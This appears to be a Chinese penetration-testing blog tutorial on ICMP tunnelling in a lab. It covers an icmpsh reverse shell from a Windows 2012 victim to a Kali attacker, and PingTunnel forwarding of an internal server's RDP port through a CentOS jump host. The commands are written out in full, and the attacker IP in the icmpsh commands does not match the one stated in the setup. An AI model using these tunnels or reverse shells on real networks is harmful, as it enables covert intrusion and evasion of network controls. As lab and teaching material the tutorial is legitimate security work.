【渗透测试笔记】之【内网渗透——网络层隧道(icmpsh、PingTunnel的使用:icmp隧道反向shell、本地端口转发)】

本文详细介绍了如何在Kali Linux和Windows 2012环境中利用icmpsh实现本地端口转发,以及如何通过PingTunnel在CentOS 7中进行跨网络的端口映射,展示了利用ICMP隧道进行网络渗透和安全测试的实战技巧。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1. ICMP隧道

1.1 icmpsh本地端口转发

实验环境:
kali(攻击机):192.168.8.48
Windows2012(受害机):192.168.8.18

1.1.1 下载与部署

kali(需要python2环境)
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py
python get-pip.py
# 安装python2pip

git clone https://github.com/CoreSecurity/impacket.git
cd impacket/
pip install .
# 安装python-impacket类库

sysctl -w net.ipv4.icmp_echo_ignore_all=1
# 关闭icmp应答,0为开启

git clone https://github.com/bdamele/icmpsh.git
# 下载icmpsh

1.1.2 使用方法

kali
cd icmpsh
python icmpsh_m.py 192.168.8.35(攻击者IP) 192.168.8.18(受害者IP)

在这里插入图片描述
此时会等待回连。

Windows2012
icmpsh.exe -t 192.168.8.35(攻击者IP) -d 500 -b 30 -s 128

参数说明:

-t:攻击者IP,必选
-r:用于测试
-d:请求延迟(毫秒)
-o:响应超时(毫秒)
-b:空格数限制
-s:字节最大数据缓冲区大小(以字节为单位)

在这里插入图片描述

1.1.3 效果演示

执行后成功回连:
在这里插入图片描述

1.2 PingTunnel本地端口转发

实验环境:
kali(攻击机):192.168.8.48
CentOS7(边界服务器,跳板机):192.168.8.35
Windows2012(内网服务器):10.1.1.10

1.2.1 下载与部署

kali

方式一:直接安装

apt install ptunnel -y

方式二:官网下载安装

apt install flex bison -y
wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz
tar -zxvf libpcap-1.9.0.tar.gz
cd libpcap-1.9.0
./configure
# 安装相关依赖

wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz
tar -zxvf PingTunnel-0.72.tar.gz
cd PingTunnel
make && make install

1.2.2 使用方法

CentOS7(边界服务器,跳板机,192.168.8.35)

Windows需要安装wincap类库: https://www.winpcap.org/install/default.htm

ptunnel -x password

在这里插入图片描述

kali
ptunnel -p 192.168.8.35 -da 10.1.1.10 -dp 3389 -lp 3389 -x password
# ptunnel -p 192.168.8.35(跳板机IP) -da 10.1.1.10(通过跳板机访问的内网IP) -dp 3389(要访问的内网IP端口) -lp 3389(映射到本机端口) -x password

在这里插入图片描述

1.2.3 效果演示

完成上述命令后,会内网10.1.1.10的3389端口通过跳板机192.168.8.35映射到kali的3389端口上,通过本机远程桌面直接连接kali的ip(192.168.8.48)即可连接到10.1.1.10:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值